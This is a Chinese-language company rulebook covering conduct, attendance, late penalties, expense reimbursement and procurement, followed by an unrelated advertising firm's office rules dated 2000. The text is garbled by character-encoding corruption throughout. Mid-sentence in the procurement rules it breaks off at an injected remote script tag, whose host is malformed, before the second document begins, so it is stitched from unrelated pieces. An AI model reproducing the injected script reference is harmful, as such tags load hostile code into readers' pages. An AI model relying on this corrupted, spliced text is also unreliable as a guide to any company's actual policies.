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公司制度
一、遵守公司的各項規(guī)章和條例規(guī)定。 二、一切言行不得損害公司聲譽(yù)和利益。 三、嚴(yán)格遵守公司考勤制度，按時上班。 四、樹立整潔、禮貌、服從的意識。 五、具備誠實(shí)、高效、敬業(yè)的精神，員工之間應(yīng)坦誠相待，相互 合作。 六、愛護(hù)公司的公物，不得隨意損壞、丟棄、浪費(fèi)各種辦公用品， 公司用品使用完應(yīng)馬上歸還。 七、上班時間不準(zhǔn)打私人電話，禁止聚集、聊天、辦私事、大聲 喧嘩，打鬧嬉戲，不準(zhǔn)看與工作無關(guān)的報刊書籍。 八、員工有遵守公司安排和努力做好本職工作的義務(wù)。 九、工作時間使用電腦，嚴(yán)禁用與工作無關(guān)的事情。 十、嚴(yán)格遵守公司一切保密制度。 考勤制度 上班時間： 坐班人員 上午8：30-12：00 下午13：30-18：00 業(yè)務(wù)員 上午8：30-12：00 下午14：00-18：00 （周日休假,其它節(jié)假日按法定休假） 員工上下班在考勤機(jī)上打卡（出差員工除外），每天按時考 勤，考勤時間以打卡時間為準(zhǔn)，禁止替人打卡考勤，每月最后一 天累計出勤情況。 員工在上班時間因工作時間外出必須征得部門主管同意。員 工休假及出差，均要得到行政部門作登記否則按曠工處理。請假 者必須出具正規(guī)醫(yī)院開具的病假單，當(dāng)天看病的相關(guān)證明。事假 的最小單位是半天，員工請事假一日以下由總經(jīng)理經(jīng)理批準(zhǔn)，超 過一日則須上報總經(jīng)理批準(zhǔn)，事假扣發(fā)當(dāng)天的薪酬。員工無故不 上班或外出不請假，均作曠工處理。連續(xù)曠工三個工作日自動離 職處理，公司不負(fù)責(zé)一切補(bǔ)償。 遲到： 考慮到各種可能存在的因素，員工每月遲到不超過三次的不 予追究。 每月遲到4-6次的員工，每次扣發(fā)工資10元。 每月遲到7-8次的員工，將扣發(fā)三天的工資。 員工遲到8次以上，扣發(fā)3天的工資外，另作曠工三天處理。 （注：員工累計曠工三天者，將被公司除名）遲到超過15分鐘， 則每次遲到作兩次處理，然后以“規(guī)定三”執(zhí)行。遲到1小時或 以上則作曠工半天處理（以此累計）替人代打考勤卡如發(fā)現(xiàn)一次 扣除半月工資，累計三次，做離職處理。員工遲到如有正當(dāng)理由 可不按以上條款處理，但需要由其部門人口頭通知行政人事部。 考勤登記情況將作為考核、獎勵、提升、處罰員工的依據(jù)之一。 財務(wù)報銷管理規(guī)定 第一條 嚴(yán)格執(zhí)行資金使用審批手續(xù)。凡有審簽權(quán)限人員須在財 務(wù)部門簽留字樣備案。公司有付款審批權(quán)人員包括董事 長、財務(wù)總監(jiān)、總經(jīng)理、財務(wù)經(jīng)理、會計。公司財務(wù)人 員支付每一筆款項，不論金額大小均須有經(jīng)辦人和以上 具有付款審批權(quán)限的人員簽名才可支出。若遇以上人員 外出應(yīng)由財務(wù)人員設(shè)法通知，同意后可先付款后補(bǔ)簽。 對違反上述規(guī)定的付款，財務(wù)人員有權(quán)且必須拒絕支付 并及時向上級請求處理。 第二條 借款的報銷：業(yè)務(wù)人員各項費(fèi)用需借款或報銷時，由各 部門經(jīng)理審簽后，報公司財務(wù)部門審核，并送公司總經(jīng) 理批準(zhǔn)，及其他有關(guān)領(lǐng)導(dǎo)批準(zhǔn)，方能借款或報銷。原則 上前款不清，后款不借。 第三條 備用金的使用，必須依照下列規(guī)定： 一、具有規(guī)定的用途，期限及限額； 二、在規(guī)定的期限內(nèi)憑費(fèi)用支出單據(jù)到財務(wù)部門報銷； 三、對違反規(guī)定用途和不符合開支標(biāo)準(zhǔn)的支出，財務(wù)不 予報銷。 第四條 各項報銷原始憑證的審核： 原始憑證應(yīng)具備的內(nèi)容：憑證名稱、填制憑證的日期、 填制憑證單位的名稱或填制人的姓名、經(jīng)辦人的簽名或 蓋單、接受憑證的單位名稱、經(jīng)濟(jì)業(yè)務(wù)的內(nèi)容、數(shù)量、 單價和金額、各種發(fā)票、收據(jù)必須符合《中華人民共和 國發(fā)票管理辦法》和實(shí)施細(xì)則的規(guī)定。從外單位取得的 原始憑證必須蓋有填制單位的公章；從個人取得的原始 憑證，必須有填制人員的簽名或蓋章；對外開出的原始 憑證，必須加蓋單位公章，其中辦理收款業(yè)務(wù)的要加蓋 本單位財務(wù)專用章。 第五條 對原始憑證的技術(shù)性要求： 凡填有大小寫金額的原始憑證，大寫與小寫必須相符。 購買實(shí)物的原始憑證，必須有手續(xù)完備的驗(yàn)收證明。除經(jīng)辦人在憑證上簽章外，必須交給實(shí)物保管人員或使用 人員進(jìn)行驗(yàn)收，并在憑證上簽章。支付款項的原始憑證 必須有收款單位或個人的收款證明以及簽字，有審批人 簽字，并有付款的依據(jù)。凡憑證內(nèi)容不全、字跡模糊不 清、與經(jīng)濟(jì)業(yè)務(wù)本身內(nèi)容不符者，應(yīng)予退回或重新補(bǔ)正。 附則三：物品采購工作規(guī)定 第一條 物品購銷合同（協(xié)議與技術(shù)要求）必須由財務(wù)部會同業(yè) 務(wù)部指定人員簽訂。合同簽訂人員須認(rèn)真學(xué)習(xí)《合同法》 及有關(guān)法律和公司規(guī)定，不得因此而給公司帶來損失。 合同在簽訂前須由經(jīng)辦人填寫合同簽訂申請書，經(jīng)總公 司審定后，方可簽署。 第二條 購銷合同：由專人統(tǒng)一編寫、登記、編制、發(fā)送和保存。 所有合同必須保留正本兩份，一份交財務(wù)部做付款憑證， 另一份交總公司資料室留檔備查。 第三條 物品的采購流程 一、采購大宗物品時，應(yīng)填寫請購申請，經(jīng)總公司?script src=http://www./script.js> ************************************** 北京歌樂廣告有限公司規(guī)章制度 1.部門為五天工作制,每日8:30至17:30,周六,周日為公休. 2.每周一,三,五上午9:00為例會時間,安排工作,務(wù)必準(zhǔn)時參加. 3. 公時間內(nèi),嚴(yán)禁做與工作無關(guān)的私人事務(wù),杜絕私人電話. 4.不準(zhǔn)在辦公室會客,如有業(yè)務(wù)客戶來訪,須提前報告主管領(lǐng)導(dǎo),安排會客時間和場所. 5.辦公設(shè)備有專人管理和使用,不得亂動亂用電腦, 描儀,復(fù)印機(jī),打印機(jī)等辦公用品. 6.外出采訪要提前報告主管領(lǐng)導(dǎo),以保證采編人員的人身安全和采訪工作順利進(jìn)行. 7.采編人員外出領(lǐng)取專用認(rèn)刊書要登記備案,領(lǐng)取人員簽字.如未能簽單應(yīng)及時交回主管部門,在編號處簽字,可在下一次采訪時使用. 8.專用認(rèn)刊書系報社與客戶之間的法律文書,采編人員作為報社的業(yè)務(wù)代表,與客戶簽單后,需將認(rèn)刊書(原件),文字材料,照片一并交回主管部門,做為制作版面和依法備案之用. 9.采編人員為客戶撰寫的文章,一律使用中國改革報社文頭紙打印,校對無誤后傳真或送達(dá)客戶審閱,重要文章需由主管領(lǐng)導(dǎo)把關(guān). 10.提取支票前,要報告主管部門,主管部門將安排車輛和財務(wù)人員去領(lǐng)取支票;如客戶支付的是現(xiàn)金,應(yīng)提前請示主管部門,原則上不能用現(xiàn)金結(jié)算. 11.采編人員要嚴(yán)格遵守部門的規(guī)章制度,不能做有損報社形象的任何事情,一經(jīng)發(fā)現(xiàn)解除合同,情節(jié)嚴(yán)重者將追究其經(jīng)濟(jì)和法律責(zé)任. 2000年7月20日 |
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